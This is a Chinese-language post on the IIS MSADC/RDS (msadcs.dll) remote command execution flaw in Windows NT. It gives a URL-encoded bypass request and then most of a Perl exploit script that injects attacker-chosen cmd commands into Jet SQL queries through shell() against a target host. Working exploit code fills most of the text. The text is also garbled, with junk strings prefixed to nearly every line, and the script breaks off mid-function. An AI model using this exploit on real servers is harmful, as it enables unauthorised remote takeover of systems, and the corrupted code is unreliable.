IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ZO c) UByv?KZi 涉及程序:
Gjo` Microsoft NT server
u!qP h>OfOx/{q9 描述:
85xR2 <: 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
f^XOUh {%6`!WW[ 详细:
Ck7uJI<x 如果你没有时间读详细内容的话,就删除:
pBA7,z"`mP c:\Program Files\Common Files\System\Msadc\msadcs.dll
~Vjl7G\7i 有关的安全问题就没有了。
001FmiV 5(HG| 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
x{/g(r={} 5iydZ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
zi`o#+ 关于利用ODBC远程漏洞的描述,请参看:
fMyti$1~ =P
#] http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Otm0(+YB7 y>e.~5; 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
t" Z6[XG http://www.microsoft.com/security/bulletins/MS99-025faq.asp ZSd4z:/ 9o:Lz5o 这里不再论述。
HJYScwjQ;` /{--+
C 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
K~ehP[^ ><HE;cVg? /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
B%+T2=&$7 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
LW_f oWo-
j< v^iL5y! #将下面这段保存为txt文件,然后: "perl -x 文件名"
Ffta](Z; !9P';p}2 #!perl
PGV/ h #
mk+B9?;cF- # MSADC/RDS 'usage' (aka exploit) script
a8Nh=^Py #
N `F~n%N # by rain.forest.puppy
bTs?!~q #
rK]Cr9W M # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
>{J(>B\ # beta test and find errors!
Oh6fj}eK +@k+2?]
FO use Socket; use Getopt::Std;
A*P|e-&Q8 getopts("e:vd:h:XR", \%args);
o:P}Wg/NK o@i#|kx, print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
=\:qo'l 3c6b6 if (!defined $args{h} && !defined $args{R}) {
:~N-.# print qq~
zz4N5[" Usage: msadc.pl -h <host> { -d <delay> -X -v }
ktBj|-'> -h <host> = host you want to scan (ip or domain)
ZO$m["| -d <seconds> = delay between calls, default 1 second
91-o}|3v -X = dump Index Server path table, if available
I5n^,@md -v = verbose
$jqq
`n_ -e = external dictionary file for step 5
UH-*(MfB @{tz:f Or a -R will resume a command session
F Yzi~L 3!oi +_ ~; exit;}
%
*INT NmJWU:W_@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
hD*SpVIU if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
YhE+W if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
WE.{p> if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
ll.N^y;a $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Jx7C'~,J if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
H0`]V6+<f -0{r>,&Mm if (!defined $args{R}){ $ret = &has_msadc;
#S*/bao# die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
|\IN.W[EL G5aieD.# print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Ne{?:h.! . "cmd /c ";
'2nhv,|.U $in=<STDIN>; chomp $in;
*XbEiMJ $command="cmd /c " . $in ;
]<rkxgMW> oO|KEY( if (defined $args{R}) {&load; exit;}
$ig0j` \T :i{.i print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
8xV9.4S &try_btcustmr;
$r8 ^0ZRr QoIT*! print "\nStep 2: Trying to make our own DSN...";
wFsyD3 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
';jYOVe >TnTnF WX print "\nStep 3: Trying known DSNs...";
Be=u&T:~ &known_dsn;
3|4|*6 VE{3} S print "\nStep 4: Trying known .mdbs...";
EGzzHIZ`! &known_mdb;
1o;J,dYu 6ZG+ZHUC& if (defined $args{e}){
!1DKLQ print "\nStep 5: Trying dictionary of DSN names...";
=JbRu|/ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
dq&yf7 W=Mb print "Sorry Charley...maybe next time?\n";
BJsz2t :0 exit;
.C(eh
>qjq=Ege ##############################################################################
b8"?VS5-" LO khjHR sub sendraw { # ripped and modded from whisker
dx&'fe*? sleep($delay); # it's a DoS on the server! At least on mine...
`YLD`(\ my ($pstr)=@_;
D=m9fFz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[nc4{0 aT' die("Socket problems\n");
>eqxV|]i if(connect(S,pack "SnA4x8",2,80,$target)){
t2I5hSf select(S); $|=1;
v99B7VH4 print $pstr; my @in=<S>;
uRRQyZ select(STDOUT); close(S);
`V]5 sE]G return @in;
bE#,=OI$ } else { die("Can't connect...\n"); }}
)ufg9"\ luuX2Mx>o ##############################################################################
"2P&X WEQ1 Seq sub make_header { # make the HTTP request
m~P CB_ifW my $msadc=<<EOT
NI#:|}CYS POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
, 5kKimTt User-Agent: ACTIVEDATA
7;sj%U^'l Host: $ip
bRJMYs Content-Length: $clen
W<$Z=(_v Connection: Keep-Alive
Iw&vTU=2 {fF3/tL ADCClientVersion:01.06
k*E\B@W> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)-
viGxJ@ 0Lc9M-Lg --!ADM!ROX!YOUR!WORLD!
L z!,kwg Content-Type: application/x-varg
Fzpfoz<N Content-Length: $reqlen
!*m5F8Qm?A LuSLkLN EOT
%Bn?n{/ ; $msadc=~s/\n/\r\n/g;
V |/NB return $msadc;}
') gi% o/6-3QUak ##############################################################################
V\6[}J ^G.Xc\^w: sub make_req { # make the RDS request
QM
O!v; my ($switch, $p1, $p2)=@_;
QP)pgAc my $req=""; my $t1, $t2, $query, $dsn;
%Nhx;{ ,TPISs if ($switch==1){ # this is the btcustmr.mdb query
g[Ib,la_a $query="Select * from Customers where City=" . make_shell();
ang~< $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Xr2ou5zAn $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.DR<Te %K`% *D elsif ($switch==2){ # this is general make table query
Y/ee~^YxK' $query="create table AZZ (B int, C varchar(10))";
`m?c;,\ $dsn="$p1";}
qT"Q1xU[ Bck7\ elsif ($switch==3){ # this is general exploit table query
m~Bl*`~M $query="select * from AZZ where C=" . make_shell();
}L3 oR $dsn="$p1";}
]Nl=wZ#` 2viM)+ elsif ($switch==4){ # attempt to hork file info from index server
mc_ch$r! $query="select path from scope()";
9@52Fg;mj $dsn="Provider=MSIDXS;";}
%D8ZO0J7H ,(?po('] elsif ($switch==5){ # bad query
n;U`m$vL% $query="select";
Tekfw $dsn="$p1";}
h0-hT <]4i`6{v $t1= make_unicode($query);
:GW&O /Yo $t2= make_unicode($dsn);
?)[EO(D $req = "\x02\x00\x03\x00";
D
<&X_ $req.= "\x08\x00" . pack ("S1", length($t1));
9h%?QC $req.= "\x00\x00" . $t1 ;
(+u39NQV $req.= "\x08\x00" . pack ("S1", length($t2));
J-)
XQDD $req.= "\x00\x00" . $t2 ;
\XM^oE#G $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ZAUQJS 91E return $req;}
92d6U2T4& 4Hn`'+b ##############################################################################
no]z1D wUQw!%?> sub make_shell { # this makes the shell() statement
0iK;Egwm return "'|shell(\"$command\")|'";}
{h2TD
P pT1[<X!<s ##############################################################################
S_v'hlrrT 9Xl5@%uz?z sub make_unicode { # quick little function to convert to unicode
&jczO-R^ my ($in)=@_; my $out;
+|@rD/I6 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
l)w Hl%p return $out;}
J.dLPKU;- uN^=<B?B ##############################################################################
Sh,&{z! 'd&0Js$^ sub rdo_success { # checks for RDO return success (this is kludge)
\nB8WSvk2W my (@in) = @_; my $base=content_start(@in);
4jBC9b}O if($in[$base]=~/multipart\/mixed/){
<